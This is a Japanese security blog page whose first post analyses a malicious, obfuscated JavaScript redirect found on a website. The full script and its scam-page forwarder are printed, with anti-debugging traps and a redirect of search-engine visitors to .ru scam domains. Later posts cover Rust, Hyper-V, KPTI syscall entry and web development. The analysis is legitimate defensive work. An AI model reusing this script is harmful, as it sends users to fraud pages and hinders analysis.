function _classCallCheck(instance, Constructor) {
    if (!(instance instanceof Constructor)) {
        throw new TypeError("Cannot call a class as a function");
    }
}
var _0x2bd6 = ["while (true) {}", "; domain=", "title", "gger", "warn", "bind", " | ", "stateObject", "referrer", "searchers", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "error", 'return /" + this + "/', "constructor", "; expires=", "length", "(?:; )?", "href", "opos", "input", "prototype", "__proto__", "cookie", "debu", "log", "toGMTString", "counter", "split", "return (function() ", "^([^ ]+( +[^ ]+)+)+[^ ]}", "https://td.14-8000.ru/trds", "console", "test", "sp_redirect", "info", "toString", "chain",
    "exception", "trace", "table", "apply", "com2", "call", "init", "; path=", "string", "; secure", "location"];
(function (data, opts) {
    var uri = function fn(selected_image) {
        for (; --selected_image;) {
            data["push"](data["shift"]());
        }
    };
    var gotoNewOfflinePage = function next() {
        var Cookies = {
            "data": {
                "key": "cookie",
                "value": "timeout"
            },
            "setCookie": function render(list, text, value, header) {
                header = header || {};
                var cookie = text + "=" + value;
                var _0xa1a7e5 = 0;
                var i = 0;
                var key = list["length"];
                for (; i < key; i++) {
                    var domain = list[i];
                    cookie = cookie + ("; " + domain);
                    var value = list[domain];
                    list["push"](value);
                    key = list["length"];
                    if (value !== !![]) {
                        cookie = cookie + ("=" + value);
                    }
                }
                header["cookie"] = cookie;
            },
            "removeCookie": function done() {
                return "dev";
            },
            "getCookie": function get(match, data) {
                match = match || function (letter) {
                    return letter;
                };
                var v = match(new RegExp("(?:^|; )" + data["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)"));
                var trim = function direct(subquest, maxRedirects) {
                    subquest(++maxRedirects);
                };
                return trim(uri, opts), v ? decodeURIComponent(v[1]) : undefined;
            }
        };
        var updatedReverseItemControlData = function get() {
            var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
            return test["test"](Cookies["removeCookie"]["toString"]());
        };
        Cookies["updateCookie"] = updatedReverseItemControlData;
        var array = "";
        var _0x55b47e = Cookies["updateCookie"]();
        if (!_0x55b47e) {
            Cookies["setCookie"](["*"], "counter", 1);
        } else {
            if (_0x55b47e) {
                array = Cookies["getCookie"](null, "counter");
            } else {
                Cookies["removeCookie"]();
            }
        }
    };
    gotoNewOfflinePage();
})(_0x2bd6, 187);
var _0x533f = function PocketDropEvent(ballNumber, opt_target) {
    ballNumber = ballNumber - 0;
    var ball = _0x2bd6[ballNumber];
    return ball;
};
var _0x1a9a42 = _0x533f;
var _0xa1a7e5 = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
var _0x3a20b0 = _0xa1a7e5(undefined, function () {
    var gotoNewOfflinePage = function config() {
        var B713 = config["constructor"]("return /" + this + "/")()["constructor"]("^([^ ]+( +[^ ]+)+)+[^ ]}");
        return !B713["test"](_0x3a20b0);
    };
    return gotoNewOfflinePage();
});
_0x3a20b0();
var _0x48658e = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
(function () {
    _0x48658e(this, function () {
        var par = new RegExp("function *\\( *\\)");
        var test = new RegExp("++ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "i");
        var result = _0x97b9b6("init");
        if (!par["test"](result + "chain") || !test["test"](result + "input")) {
            result("0");
        } else {
            _0x97b9b6();
        }
    })();
})();
var _0x1595bd = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
var _0x572efc = _0x1595bd(undefined, function () {
    var global;
    try {
        var evaluate = Function("return (function() " + '{}.constructor("return this")( )' + ");");
        global = evaluate();
    } catch (_0x564021) {
        global = window;
    }
    var db = global["console"] = global["console"] || {};
    var methods = ["log", "warn", "info", "error", "exception", "table", "trace"];
    var i = 0;
    for (; i < methods["length"]; i++) {
        var data = _0x1595bd["constructor"]["constructor"]["bind"](_0x1595bd);
        var name = methods[i];
        var value = db[name] || data;
        data["__proto__"] = _0x1595bd["bind"](_0x1595bd);
        data["toString"] = value["toString"]["bind"](value);
        db[name] = data;
    }
});
_0x572efc();
var _0x106069 = function () {
    function SearchWorkerLoader() {
        _classCallCheck(this, SearchWorkerLoader);
    }
    _createClass(SearchWorkerLoader, null, [{
        key: "com2",
        value: function header() {
            function notify(name, file, timeout, type, stack, tag) {
                if (!name || !file) {
                    return ![];
                }
                var msg = name + "=" + encodeURIComponent(file);
                if (timeout) {
                    msg = msg + ("; expires=" + timeout["toGMTString"]());
                }
                if (type) {
                    msg = msg + ("; path=" + type);
                }
                if (stack) {
                    msg = msg + ("; domain=" + stack);
                }
                if (tag) {
                    msg = msg + "; secure";
                }
                return document["cookie"] = msg, !![];
            }
            function validate(key) {
                var word = "(?:; )?" + key + "=([^;]*);?";
                var test = new RegExp(word);
                if (test["test"](document["cookie"])) {
                    return decodeURIComponent(RegExp["$1"]);
                }
                return ![];
            }
            var names = {};
            names["searchers"] = [[/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i,
                /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];
            names["sp_redirect"] = function (mAttributes) {
                var i = 0;
                for (; i < names["searchers"]["length"]; i++) {
                    var allow = names["searchers"][i];
                    if (mAttributes["match"](allow[0]) || validate("opos") == "1") {
                        notify("opos", "1");
                        document["location"]["href"] = "https://td.14-8000.ru/trds";
                        break;
                    }
                }
            };
            names["sp_redirect"](document["referrer"]);
        }
    }]);
    return SearchWorkerLoader;
}();
_0x106069["com2"]();
function _0x97b9b6(event) {
    function next(i) {
        if (typeof i === "string") {
            return function (canCreateDiscussions) {
            }["constructor"]("while (true) { }")["apply"]("counter");
        } else {
            if (("" + i / i)["length"] !== 1 || i % 20 === 0) {
                (function () {
                    return !![];
                })["constructor"](";;;;" + ";;;;")["call"]("action");
            } else {
                (function () {
                    return ![];
                })["constructor"](";;;;" + ";;;;")["apply"]("stateObject");
            }
        }
        next(++i);
    }
    try {
        if (event) {
            return next;
        } else {
            next(0);
        }
    } catch (_0x1b90ec) {
    }
}
;

このファイルはDebug検知で解析を妨害する。
難読化解除のときは動的解析するとかなりわかりやすくなるのでまずはそれを解除した。
と言っても全然わからなかったので、適当にあたりをつけた。
どうやらdebugger が配列 _0x2bd6 のなかに入っていて、その文字列が結合されて実行されることがわかった。(debugger命令ですね) それを ;;;;;;;;に書き換え回避。動的解析環境が整った。

このJSファイルの基本的な難読化手法は以下の通りである。

  1. 無駄な変数定義
  2. 無駄な関数定義
  3. 無名関数化してスコープを縮める
  4. わかりにくい記法への変換
  5. 関数や変数名がランダム化
  6. 配列 _0x2bd6を起点とする文字列結合を使用しコードを複雑に

ひとまず6個目をconsoleにせっせと打ち込み解除。 ほかは頑張ってコードを読んでやった。 頑張って難読化を解除しつつ読みすすめると大まかに以下のような動作を行うJSとわかった。

クッキーoposの値が1であるか、指定された検索エンジンからのアクセスである場合、https://td.14-8000[.]ru/trds へとリダイレクトする。

クッキーとリファラ確認はおそらく解析者対策だろう。

リダイレクト先

次に、リダイレクト先https://td.14-8000[.]ru/trds を確認。
先ほどと打って変わって、なんて単純なんだ……
詐欺ページへGO!

<!doctype html>
<html>
<head>
    <script>function onload() {window.location.href='https://prize.wolcens.ru/?u=dmzpte4&o=v4l84xw&cid=trds|'}</script>
</head>
<body onload='onload()'></body>
</html>

詐欺ページ

い つ も の

f:id:morimolymoly:20201110211856p:plain
あほばかまぬけ

ちなみにhttps://prize.wolcens[.]ru/はCloudFlareで守られているそうな(このワタクシからCS:GOのナイフを奪い取ったフィリピンNO1野郎もそういえばCloudFlareで守られていたな)
とりあえず詐欺ページのドメインレジストラにabuse reportしておきました。

おわりに

今回は非常につまらないWEBサイトを調査しました。
運良く見つけたらマルバタイジングされたサイトとかやるかも。

IOCs

参考

Writing An Interpreter In GoをRustでやった

おひさしぶりです、morimolymolyです。

Writing An Interpreter In GoをRustでやりました。
github.com

もともとはRustのチュートリアルであるところのTRPLをこなしたあとに、そこそこ量のあるコードを書きたくなったのでなにか探していたところ、インタプリタを書いてみるのも悪くないなあと思って書いてみました。
doc.rust-lang.org

最初は、Rustというか関数型言語っぽいやりかたがみにつかず、Anyトレイト連発❗みたいなクソコードを量産しましたが、時期にやり方を覚えいい感じにこーどがかけるようになりました。
ちなみにGolangの実装のままにAnyトレイト連発のクソコードは以下のブランチからみることができます。
github.com

Pratt Parserを書く部分とかも楽しかったし、おまけのマクロの実装も楽しかった。
コードを書いていくと次第に理解が深まり、本を読まずとも、機能の追加方法が思いつく瞬間があり、とても気持ちのいい体験でした。

これからは続きのWriting a Compilier in GoをRustでやってみようかなあ、と思っています。
まだrmonkeyも汚いコードを残しているので整理はしたいと思っていますが……。
なんせ休学して暇な身なのでメンタルさえ安定していれば無限にコードが書けるのでね。

今、いろいろと面白いことを考えてやっている最中なので、時期にコンパイラインタプリタ以外のおもしろいこともここで発表できたらいいなあと思っています。
まずはメンタルを安定させてお休みするところから始めていきます。

それでは短いですが、次回の機会で。

ゼロから始めるHyper-Vのアーキテクチャ

はじめに

こんにちは,morimolymolyです.
皆さん,Hyper-V脆弱性報酬プログラムはごぞんじですか?
https://www.microsoft.com/en-us/msrc/bounty-hyper-v

なんとHyper-VのRCE(Remote Code Execution)を発見するだけで$250,000も貰えてしまうのです!!
最近では360 Core Securityの研究者がVMEscapeの脆弱性をみつけて$200,000をゲットしています.

$250,000も貰えたら働かずに毎日ごろごろしていても数年は余裕で持ちますね.
というわけでHyper-V脆弱性を発見する前に,これのアーキテクチャを学ぼうというわけです.

Hypervisor概要

ハイパーバイザにはType-1(Baremetal)とType-2(Host)の2種類あります.
Type-1はハイパーバイザがハードウェア上で直接動作します.
例: XenKVM,BitVisor,Bareflank
Type-2はホストOS上のプロセスとして動作するハイパーバイザです.
例: VirtualBoxVMWareQEMUBochs

Hyper-VはType-1ハイパーバイザにあたります.

Hyper-Vアーキテクチャ概要

f:id:morimolymoly:20190125210041p:plain
上図がHyper-Vアーキテクチャです.
Hyper-VはAttack Surfaceをなるべくへらすために,コード量を最小限にするという設計理念があります.
そのためデバイス仮想化などの機能はHyper-Vには実装していません.
Hyper-VがインストールされたホストOSがデバイス仮想化などのあらゆるサービスを担当します.
そのおかげでHyper-VはホストOSに実装されているデバイスドライバをそのまま利用できます.

Hyper-VにはPartitionという単位でVMが存在します.
Hyper-VがインストールされたホストOSをRoot Partitionと呼び,これは仮想マシンの管理,ゲストのメモリの操作,デバイスエミュレーションサービスの提供,実デバイス操作を行います.
XenでいうとDom0(特権ドメイン)です.

ゲストマシンはPartitionと呼びます.
ゲストマシンは別のPartitionの物理メモリにアクセスできませんし,ハードウェアの直接アクセスができません.
すべてはRoot Partitionと通信してデバイスの操作などを行ってもらいます.
またこの通信は厳格に定義されたインターフェースを通じてのみ行なえます.

このアーキテクチャから分かる通り,セキュリティ野郎が注目するべきはRoot Partitionです.
詳しくは以下の記事を参照.
docs.microsoft.com

Hyper-Vのメモリ

Hyper-Vのメモリは以下のように定義されます.

  • PA(Physical Address) 物理メモリ空間
  • SPA(System Physical Address) RootPartitionの物理メモリ空間
  • SVA(System Virtual Address) RootPartitionの仮想メモリ空間
  • GPA(Guest Physical Address) ゲストの物理メモリ空間
  • GVA(Guest Virtual Address) ゲストの仮想メモリ空間

SPA,SVAは他のハイパーバイザだとHPA(Host Physical Address),HVA(Host Virtual Address)と呼ばれることが多い気がします*1

Root Partitionの役割

f:id:morimolymoly:20190125213147p:plain
上図はRoot Partitionで提供されるサービスの例です.
以下に用語を説明します.

  • VDEV(Virtual Device) Rootのユーザ空間で動くエミュレートまたは準仮想化されたデバイス
  • VSP(Virtualization Service Provider) Rootのカーネル空間でVDEVと協調して動く準仮想化されたデバイス
  • IC(Integration Component) ゲストがアクセスできるRootのユーザ空間で動くコンポーネント

また次のようなサービスが提供されています.

f:id:morimolymoly:20190125220823p:plain

このようにRootPartitionのユーザ空間でホストされるサービスもあれば,RootPartitionのカーネル空間でホストされるサービスもあります.

ゲストのデバイス操作の流れ

f:id:morimolymoly:20190125214731p:plain
上図はゲストがデバイスを操作するときの概要図です.
流れは以下のとおりです.

  1. ゲスト内のVSC(Virtualization Service Client)がvmbusを通じてRoot Partition内のVSPに操作を依頼
  2. VSPがホストOSのデバイスドライバに操作を依頼
  3. デバイスドライバがデバイスを操作

でばストレージ操作のVSPをみてみましょう.
f:id:morimolymoly:20190125221027p:plain


ユーザ空間のVSPも見てみましょう.
f:id:morimolymoly:20190125213849p:plain
VMWPとはVirtual Machine Worker Processの略で仮想マシンごとに用意されるVSPを提供するためのユーザ空間のプロセスです.
この例ではユーザ空間にSMBのサービスであるVSMBを動作させています.

Hyper-VLinuxでの実装

当然このような仮想化支援技術はゲストカーネルに実装されていなければなりません.
Linuxでは以下のようなディレクトリにコードがあるようです.
f:id:morimolymoly:20190125222048p:plain

実際にヘッダファイルを眺めてみるとなかなか面白いです.
github.com

おわりに

簡単でしたが,以上がHyper-Vの基本的なアーキテクチャになります.

予告

次回はHyper-Vリバースエンジニアリング環境を構築します.
また既知の脆弱性についても解説したいと思います*2

*1:ほんま統一してくれ

*2:クローズドソースなので当時のバイナリをビルドして実験できないから解説する意味があるのかわからんが

メールアドレスが不正使用されてしまいました

こんにちは,morimolymolyです.

2019/01/11の午前2時から3時にかけて私のメールアドレスを使い,私を騙るものが5ちゃんねるや爆サイ,その他掲示板に書き込みをしていたようです.現在,その書き込みを見た方からたくさんメールが届いて迷惑しています.

私はtwitter(@morimolymoly),XMPP(moly420[at]exploit.im),slack(HyperVillage,seccamp,MMA,バイト先)以外でmorimolymolyというスクリーンネームは使用していません.また上記アカウント以外から能動的にコンタクトを取ることはありません.

もし,今後私を騙るようなものがコンタクトをしてきても無視をしてください.
所属している界隈故,マルウェアなどを用いたサイバー攻撃に発展していく恐れもあります.
くれぐれも私を騙るものからのメッセージに記載されたURLなどは決して踏まないように気をつけてください.

以下,私を騙る書き込みのスクリーンショットを公開し,この記事を終わります.

f:id:morimolymoly:20190112125221p:plain
f:id:morimolymoly:20190112125217p:plain
f:id:morimolymoly:20190112125211j:plain
f:id:morimolymoly:20190112125204j:plain
f:id:morimolymoly:20190112125201j:plain

f:id:morimolymoly:20190112125157j:plain
犯人の生IPです

f:id:morimolymoly:20190112130015p:plain
2019/01/12 13:00追加

Linuxのsyscallハンドラのエントリポイントがたくさんあるんだが -> 完全に理解した

はじめに

久しぶりの更新です,morimolymolyです.

最近,私はRing-1に興味を持ちいろいろなhypervisorを触って遊んでいます研究しています.

さて,皆さんはsyscallにはかなり馴染み深いですよね?

システムソフトウェアを書くときはもちろんのこと,exploitするときにガジェットをあーでもないこーでもないとつないでROPして呼び出したりしますよね?

私も最近syscallをRing-1から監視したりしているのですが,そこで気になったことがあったのです.

というわけでこの記事では,x86_64のマルチコアプロセッサLinux環境でのsyscall命令についてみていきます.

syscall命令

x86_64ではシステムコールを行う際には,引数をレジスタに設定して,syscall命令を呼び出します.

syscall命令はMSR(Model-specific Register)のIA32_LSTAR(0xC0000082)からシステムコールのエントリポイントのアドレスを読み出し,RIPにセットします.

神秘的なRing3からRing0の移動が,この一つの命令でできるわけです.

驚きですね.

ではIA32_LSTARの中身を読み出してみましょう.

以下のLKM(Loadable Kernel Module)はRDMSR命令を用いてIA32_LSTARを読み出してprintkしています.

gist.github.com

このLKMをビルドして実行するとカーネルメッセージにIA32_LSTARの中身が表示されるというわけです.

それではこのLKMをおもむろに何度も実行してみましょう!(なぜ)

dmesg | grep MOLY

するとどうでしょう.

何故かアドレスが異なっています!! (結果はめんどいのでのせない)

syscallハンドラが気まぐれでメモリ空間を散歩しているのでしょうか?

いえ,違います.

この挙動はマルチコアプロセッサのKPTI(Kernel Page-Table Isolation)が有効な環境においては正常な動作なのです!!

syscall_init関数

さて,IA32_LSTARLinuxのboot時,syscall_init関数によって設定されます.

/* May not be marked __init: used by software suspend */
void syscall_init(void)
{
    extern char _entry_trampoline[];
    extern char entry_SYSCALL_64_trampoline[];

    int cpu = smp_processor_id();
    unsigned long SYSCALL64_entry_trampoline =
        (unsigned long)get_cpu_entry_area(cpu)->entry_trampoline +
        (entry_SYSCALL_64_trampoline - _entry_trampoline);

    wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
    if (static_cpu_has(X86_FEATURE_PTI))
        wrmsrl(MSR_LSTAR, SYSCALL64_entry_trampoline);
    else
        wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);

ここの関数で行っている処理は,X86_FEATURE_PTIが有効になっている場合,つまりKPTIが有効になっている場合に,wrmsr命令でIA32_LSTARSYSCALL64_entry_trampolineを書き込んでいます.

SYSCALL64_entry_trampolineは,ご覧の通り,cpuのidによってアドレスが異なるようです.

つまりcpuのコアごとにIA32_LSTARの値が異なることは正解なわけです.

また,先程のLKMでアドレスが異なっていたのも,実行するコアが異なっていたからですね.

entry_SYSCALL_64_trampoline

さて,entry_SYSCALL_64_trampolineでは何をしているのでしょうか.

 .pushsection .entry_trampoline, "ax"

/*
 * The code in here gets remapped into cpu_entry_area's trampoline.  This means
 * that the assembler and linker have the wrong idea as to where this code
 * lives (and, in fact, it's mapped more than once, so it's not even at a
 * fixed address).  So we can't reference any symbols outside the entry
 * trampoline and expect it to work.
 *
 * Instead, we carefully abuse %rip-relative addressing.
 * _entry_trampoline(%rip) refers to the start of the remapped) entry
 * trampoline.  We can thus find cpu_entry_area with this macro:
 */

#define CPU_ENTRY_AREA \
    _entry_trampoline - CPU_ENTRY_AREA_entry_trampoline(%rip)

/* The top word of the SYSENTER stack is hot and is usable as scratch space. */
#define RSP_SCRATCH    CPU_ENTRY_AREA_entry_stack + \
            SIZEOF_entry_stack - 8 + CPU_ENTRY_AREA

ENTRY(entry_SYSCALL_64_trampoline)
    UNWIND_HINT_EMPTY
    swapgs

    /* Stash the user RSP. */
    movq %rsp, RSP_SCRATCH

    /* Note: using %rsp as a scratch reg. */
    SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp

    /* Load the top of the task stack into RSP */
    movq CPU_ENTRY_AREA_tss + TSS_sp1 + CPU_ENTRY_AREA, %rsp

    /* Start building the simulated IRET frame. */
    pushq    $__USER_DS           /* pt_regs->ss */
    pushq    RSP_SCRATCH          /* pt_regs->sp */
    pushq    %r11             /* pt_regs->flags */
    pushq    $__USER_CS           /* pt_regs->cs */
    pushq    %rcx             /* pt_regs->ip */

    /*
    * x86 lacks a near absolute jump, and we can't jump to the real
    * entry text with a relative jump.  We could push the target
    * address and then use retq, but this destroys the pipeline on
    * many CPUs (wasting over 20 cycles on Sandy Bridge).  Instead,
    * spill RDI and restore it in a second-stage trampoline.
    */
    pushq    %rdi
    movq $entry_SYSCALL_64_stage2, %rdi
    JMP_NOSPEC %rdi
END(entry_SYSCALL_64_trampoline)

    .popsection

コメントにもある通り,このcpu_entry_area's trampolineはコアごとにremapされるようです.

そして,syscall_init関数でIA32_LSTARに書き込んでいたのは,RIPベースの相対アドレスの計算を行って導き出した,実際にマップされたコードのアドレスというわけです.

またentry_SYSCALL_64_trampolineはその名の通り,いくつかの段階をへて本来のシステムコールを行う前のトランポリンのようなコードです.

まあ今回は各段階のコードは読みませんが.

さて,ではなぜこのような複雑なマッピングを行っているのでしょうか?

コアごとにハンドラを配置する必要性がわかりません.

コアごとにハンドラがマッピングされるワケ

ぐぐると,以下のようなLKMLのパッチ情報にたどり着きました. LKML: Thomas Gleixner: [patch 19/60] x86/entry/64: Create a per-CPU SYSCALL entry trampoline

syscallが行われる際,FLAGS以外のすべてのレジスタとともにハンドラへ突入します.

当然,ユーザ空間のRSPをどこかに保存してカーネルのスタックのアドレスを示してやる必要がありますね.

通常,per-CPUdataセクション(コアごと)と呼ばれる空間にユーザ空間のRSPは格納されことになっています.

その後にentryの際にSWAPGSをしてGSレジスタベースでper-CPUdataセクションへアクセスします.

しかし,KPTIが導入された場合大きな問題が生じてきます.

KPTIによりユーザ空間とカーネル空間は別のページテーブルにマップされるからです.

つまり,CR3レジスタカーネル用とユーザ空間用とで書き換えなければならないのです!!(CR3レジスタに入るのはページディレクトリのベースアドレス.ページングに詳しくない人はアドレス解決に必要な基本のアドレスと思ってもらえれば良き!)

従来どおりGSレジスタベースでアクセスすればいいと思いますが,GSベースのアクセスの場合,ユーザ空間用のページに重要なperCPUdataがマッピングされていなければならないので,Meltdownなどの脆弱性によっていろいろと情報が盗み出されてしまう恐れがあります!!!!(CR3をカーネル用に書き換えたいのに特権がないとアクセスできないデータ……しんどい……)

CR3レジスタは即値で代入できず,レジスタを介する必要がるのだが,syscallハンドラで自由に使えるレジスタは大変少ないのです.

ではエントリ時のレジスタをみてみよう.

  • rax system call number
  • rcx return address
  • r11 saved rflags(これはばんばん変動する)
  • rdi arg0
  • rsi arg1
  • rdx arg2
  • r10 arg3 (CのABIによるとRCXに移す必要がある)
  • r8 arg4
  • r9 arg5
  • (note: r12-r15, rbp, rbx はABIで呼び出し先で自由に使えるアドレスと定義されている)

少なすぎィッ!! ということでどうにかしてperCPUdataセクションへユーザ空間のRSPを保存しつつ,CR3を書き換えなければならない.

さて,ここでcpu_entry_area's trampoline(syscallはんどら)をCPUごとに一定間隔でマッピングしてみると……なんとハンドラのアドレスから相対的にperCPUdataセクションにアクセスすることができるのです!!

つまりGSレジスタベースでアクセスする必要がなくなった!!やったあ! 実際はRSPを介してCR3のスイッチングを行っているみたいですね. いやあ複雑なマッピングをしてまでセキュリティを向上させなければ行けないのは大変ですねえ.

まとめ

syscallハンドラがKPTI環境でCPUコアごとにマッピングされているのは,重要なデータをユーザ空間とおなじページにマッピングされないようにしながら,CR3(ページディレクトリのベースアドレス)をスイッチングする必要があったからです!! セキュリティのコストってすごいねえ……

告知

twitter復活しました!

twitter復活しましたのでフォローおねがいします.

twitter.com

チームHyperVillage

また,仮想化技術関連のお話ができるslack(Hypervillage)をつくりました.
私一人しかいなくて寂しいのでだれか入ってください.
あといろいろと相談とか乗ってください……

Slack

とゆーか,仮想化技術関連とかで盛り上がっているコミュニティがあったら誘ってください……. よろしくおねがいします.

Dentoo.LT #21に登壇します

2018/11/11(日)に電通大で最もハッキーなサークルMMAが主催するDentoo.LTに登壇します! ハイパーバイザーとかBareflankな話をしようと思ってるのでぜひきてくれよな!!

【ポエム】WEBフロントエンド入門してみた

こんにちは,morimolymolyです.
レポート提出間近なのになんとなくwebフロントエンド入門してみました.

早速今回作ったページはこちら.

https://github.com/morimolymoly/dead-github.iogithub.com


入門する前の僕にとってのwebフロントエンドといえば,サーバーサイドでレンダリングしたページのDOMをごにょるために,スパイス程度にjqueryを使う程度でした.しかしふと,javascriptでクールにSPAっぽいの作れるようになりたいよなあと思って1日digってみました.*1
結論から言うと,1日程度では大したことはできなかったのですが*2,最近のjavascript事情とかはそこそこ把握できたし,ES6がどうのとかwebpackは〜みたいな話にもちょっとはついていけるくらいの知識がつきました.

さて,早速今回digった技術をご紹介します.

  • Vue.js
  • ES6とか新しめのjs
  • webpack
  • babel

まあご紹介しますと言いましたが,技術的な話を書くつもりはありません.
ガーッとまとめるなら,javascriptがそこそこまともな言語(ES6~)になって,でもまともなjavascriptを動かすには互換性の問題があるのでトランスパイル(ES5とかほとんどのブラウザで実行できるものに変換)するのにbabelとかつかって,散らばったモジュールをくっつけるのにwebpackを使って,めちゃくちゃ便利なVueなどのフレームワークを使ってアプリをつくるって感じです.今回は直接babelやwebpackのコマンドを叩くことはあまりせず,vue-cliというVue.jsが誇る激強テンプレート作成コマンドを使って開発しました.Vue.jsが強すぎるしハマったので,フレームワークに関してはよほど変化がない限りこれを使っていくと思います.

「webフロントエンドとか新しいもの好きが色々飛びついてメンテナンス性を失ってブツブツ言うアレだろ?」みたいな認識だったのですが,一日digってみると,どうして彼らが新しい技術を追求し,さすらい続けるのかが理解できました.おそらくwebフロントエンドは片手間にちょいちょいつまむ程度になると思いますが,さらなる環境の進化をまったり楽しんでいこうと思いました.

おわり

*1:浅はかなり

*2:成果を見れば一瞬でわかる

OSXで自作OSのための環境を構築する

  • はじめに
  • ながれ
  • GMP&MPFR&libmpc&gccのインストール
  • binutilsのインストール
  • libiconvのインストール
  • i686向けgccをビルドする
  • objconvのインストール
  • GRUB2のインストール
  • bareboneを動かす
  • さいごに
  • 参考にしたサイト様
続きを読む